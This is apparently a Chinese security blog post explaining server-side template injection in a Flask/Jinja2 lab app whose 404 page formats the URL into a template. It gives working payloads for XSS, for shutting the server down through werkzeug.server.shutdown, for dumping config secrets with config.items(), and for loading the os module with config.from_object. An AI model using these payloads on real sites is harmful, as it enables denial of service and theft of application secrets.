0x1 前言

SSTI(服务端模版注入),或者对其还不够了解,在此之前建议去阅读一下James Kettle写的一篇 文章 问题出在开发者定义一个404错误页面,该开发者选择使用字符串格式化将URL动态添加到模版字符串中并返回到页面中,用户对模板是可控的。

0x2 测试步骤

定义一个错误页面。
定义了一个模板字符串。
使用格式化字符串的方式将URL动态添加到模版字符串中并返回在页面上。
用户对模板是可控的。

a0.png

a1.png

触发一个XSS

http://127.0.0.1:5000/<script>alert(/xss/)</script>

a2.png

Jinjan2 基础语法

{% ... %}

{{ ... }}

{# ... #}

模版引擎成功解析

http://127.0.0.1:5000/aaa{{2+2}}

a3.png

鸡肋拒绝服务攻击

request 是Flask模版的一个全局对象,其代表 “当前请求对象(flask.request)”,在request 对象中有一个environ对象名。

request.environ 对象是一个与服务器环境相关的对象字典,字典中一个名为 shutdown_server 的方法名分配的键为 werkzeug.server.shutdown 。

注射 {{ request.environ['werkzeug.server.shutdown']() }} 会造成拒绝服务。

获取配置项目信息

config 也是 Flask模版中的一个全局对象,它包含了所有应用程序的配置值。

{{ config.items() }}    // 查看配置项目的信息     

输入:http://127.0.0.1:5000/a{{ config.items() }}

更多详情链接:http://www.pythondoc.com/flask/config.html

a4.png

a6.png

config是一个类字典对象,它的子类包含很多方法:from_envvar, from_object, from_pyfile, root_path。

Flask/config.py

def from_object(self, obj):   

a5.png

1. from_object  遍历新加模块中的所有大写的变量的属性并添加属性 

2. 并且这些添加到config对象的属性都会维持他们本来的类型

3. 验证:我们将 {{ config.items() }} 注入到存在SSTI漏洞的应用中,注意当前配置条目

4. 注入  {{ config.from_object('os') }}。这会向config对象添加os库中所有大写变量的属性

5. 再次查看  {{ config.items() }}     ;    os 模块中大写变量的属性成功添加属性cf 

标签: Web安全

添加新评论

marisa.png